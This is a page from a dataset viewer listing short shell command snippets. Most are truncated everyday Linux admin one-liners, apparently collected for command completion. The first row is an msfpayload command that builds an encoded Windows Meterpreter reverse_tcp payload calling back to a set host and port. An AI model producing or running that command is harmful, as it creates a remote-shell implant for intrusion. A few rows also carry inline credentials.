text stringlengths 7 318 |
|---|
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.132 LPORT=8000 R | msfencode -c 5 <EOC> |
find /tmp <EOC> |
wget -O - http://www.commandlinefu.com/commands/browse/rss <EOC> |
cut -d " " -f1,4 access_log | sort | uniq -c | <EOC> |
alias ll='ls -alF' <EOC> |
top -o VIRT <EOC> |
resolveip {{example.org}} <EOC> |
function nowrap { export COLS=`tput cols` ; cut -c-$COLS ; unset COLS ; <EOC> |
require 'time';backup_dir = '/path';Dir.glob(backup_dir+"/*.sql").each{ |f| filetime = Time.parse(`mdls -name kMDItemContentCreationDate -raw #{f}`);monthago = Time.now - (30 * 60 * 60 <EOC> |
keytool -list -providerpath bcprov-jdk15on-1.60.jar <EOC> |
echo 'mail <EOC> |
wget -c -v -S -T 100 --tries=0 `curl -s http://ms1.espectador.com/ podcast/espectador/la_venganza_sera_terrible.xml | grep -v xml | grep link | <EOC> |
ftp-latest <<< "cd /; cls -1 | <EOC> |
echo | gcc -dM <EOC> |
cat $(echo "ls /proc/{`pidof firefox | sed -e 's/$/,/' -e 's/ /,/g'`}/smaps 2>/dev/null" | bash) | awk '/Rss/{sum += <EOC> |
echo | openssl s_client -connect <hostname>:443 2> /dev/null | \
awk '/-----BEGIN/,/END CERTIFICATE-----/' | \
openssl x509 -noout -enddate <EOC> |
find . -name "*.[ch]" | <EOC> |
passwd <EOC> |
(for FILE <EOC> |
df -h | <EOC> |
ps -C httpd -o rss --no-headers <EOC> |
mtr -c <EOC> |
stress -i {{2}} -t <EOC> |
find . -type f -name "*.py" <EOC> |
find /tmp -type d <EOC> |
mv $1 $2 && ln -s $2/$(basename $1) $(dirname $1) <EOC> |
IFS=$'\n'; i=1; ls -lt *mp3 | cut -d ":" -f2 | cut -d " " -f2- | while read f; do mv "$f" $(echo "$i"."$f"); <EOC> |
get_iplayer --type=radio --channel "Radio 4 Extra" | grep : | awk '{ <EOC> |
route <EOC> |
useradd -r -s /usr/sbin/nologin <EOC> |
cpp /usr/include/stdio.h | grep -v '^#' | grep -v <EOC> |
tod --quickadd <EOC> |
qdbus org.freedesktop.ScreenSaver <EOC> |
leo () { lang=en; IFS=+; Q="${*// /%20}"; curl -s "https://dict.leo.org/${lang}de/?search=${Q//+/%20}" | html2text | sed -e '/Weitere Aktionen/,$d' | grep --color=auto --color=always -EA 900 '^\*{5} .*$' } <EOC> |
scp <file> <EOC> |
find -name ".php" -exec perl -pi -e 's/search/replace/g/' {} \; <EOC> |
du --total --inodes / | egrep <EOC> |
output=$(ps -ef|grep -i java 2>/dev/null); for w in ${output[@]}; do if [[ $w =~ .*Xmx.* ]]; then result=$(grep -oP "[0-9]+" <<< $w); echo $result ;fi ; done| <EOC> |
s='Test "checkin_resumestorevisit \"- "Online_V2.mt" Run'; s=${s#*'"'}; <EOC> |
ping <EOC> |
for key in `echo 'KEYS pattern*' | redis-cli | awk '{print $1}'`; do <EOC> |
perl <EOC> |
find . -type d -maxdepth 1 -print0 | xargs -0 -I{} sh -c 'find "{}" -type f | grep "ogg\|mp3\|wav\|flac$" | wc -l | tr -d "\n"; <EOC> |
touch -d <EOC> |
sudo systemd-resolve --interface <NombreInterfaz> --set-dns <IPDNS> --set-domain <EOC> |
sudo blktrace -d /dev/sda -o - | blkparse -i - <EOC> |
[ $1 ] && <EOC> |
pvl() { <EOC> |
find <dir> -type f -mtime +<days> -exec scp -r <EOC> |
xsel <EOC> |
declare <EOC> |
watch !! <EOC> |
FAIL2BAN=`ps ax | grep fail2ban | grep -v grep | awk {'print $1'}` && if [ -n "$FAIL2BAN" ]; then printf "\n[INFO] Fail2Ban is running and the PID is %s\n\n" $FAIL2BAN; else <EOC> |
while sleep 30; do tput sc;tput cup 0 $(($(tput cols)-15));echo -n " New Emails: $(curl -u username:password --silent https://mail.google.com/mail/feed/atom | grep 'fullcount' | grep -o '[0-9]\+')";tput rc; <EOC> |
df <EOC> |
grep -i cron /var/log/syslog | <EOC> |
echo 'host <EOC> |
curl -sd q=Network http://www.commandlinefu.com/search/autocomplete |html2text -width <EOC> |
for((r=1;r<10;r++));do v=1;echo -n "$v <EOC> |
alias lp="echo -n \"some text to copy\" | pbcopy; sleep 120 && echo -n \"done\" | <EOC> |
sudo <EOC> |
route -n | grep "^0\." | awk '{print "Gateway to the World: "$2", via <EOC> |
echo <EOC> |
kill -USR1 $(pgrep -x dd) <EOC> |
collectd <EOC> |
tcpdump src <srcIP> and <EOC> |
mount -t <EOC> |
cat <(ls /etc) <EOC> |
while true; do curl -s http://sensiblepassword.com/?harder=1 <EOC> |
echo {1..199}" sheep," | espeak -v english <EOC> |
grep -R usepackage * | cut -d']' -f2 | cut -s -d'{' -f 2 | sed s/"}"/.sty"}"/g | cut -d'}' -f1 | sort | uniq | xargs dpkg -S | cut -d':' <EOC> |
(setopt CSH_NULL_GLOB; cd /path/to/Camera\ Uploads; for i in DSCPDC_000*; do mv -v $i "$(echo <EOC> |
sudo grub-mkconfig <EOC> |
for /F %G in ('dir /b c:\Windows\system32\notepad.exe') do ( echo <EOC> |
for FILE in `ls -1`; do if [ -L "$FILE" ]; then cp $(readlink "$FILE") ${FILE}_rf; rm -f $FILE; mv ${FILE}_rf "$FILE"; <EOC> |
echo | openssl s_client -connect www.google.com:443 2>/dev/null <EOC> |
[ $V ] || : $((V++)) && echo <EOC> |
grep -E/egrep <EOC> |
echo -e "\n[sublime-text]\nServer = https://download.sublimetext.com/arch/dev/x86_64" | sudo <EOC> |
clear; for i in `cat thehosts` ; do <EOC> |
find -name <EOC> |
update-rc.d {{mysql}} <EOC> |
mencoder -ovc copy -oac copy -of avi -o remuxed.avi <EOC> |
date +"%Y%m%d_%H%M%S" <EOC> |
2end () ( export LC_ALL=C; <EOC> |
sed -n -e "/^\[/h; /priority *=/{ G; <EOC> |
for((r=1;r<10;r++));do v=1;echo -n "$v ";for((c=1;c<$r;c++));do <EOC> |
echo -e "linuxpassword\nlinuxpassword" <EOC> |
goburncd() { d=/tmp/goburncd_$RANDOM; mkdir $d && for <EOC> |
watch "cat `ls -rcA1 | tail <EOC> |
rsync -avz --daemon --incoming-chmod=Du=rwx,go=rx,Fu=rw,go=r source_dir/ <EOC> |
clear; for i in `cat thehosts` ; do ssh $i "cat uname -a ; /etc/redhat-release; cat /proc/cpuinfo | tail -n 25 | <EOC> |
ssh host -l user <EOC> |
rpcclient $> <EOC> |
lsa() { ls -lart; history -s "joe \"$(\ls -apt|grep <EOC> |
dpkg-query -Wf <EOC> |
grep -e `date +%Y-%m-%d` /var/log/dpkg.log | awk '/install / {print $4}' | uniq | xargs apt-get -y <EOC> |
if [[ lm = $(cat /proc/cpuinfo | grep " lm ") ]] ; then echo "64 bits" <EOC> |
rpicam-still -e {{bmp|png|rgb|yuv420}} <EOC> |
find . | xargs md5 2>/dev/null | awk '{printf("%s %s\n", $4, $2)}' | sort | awk <EOC> |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.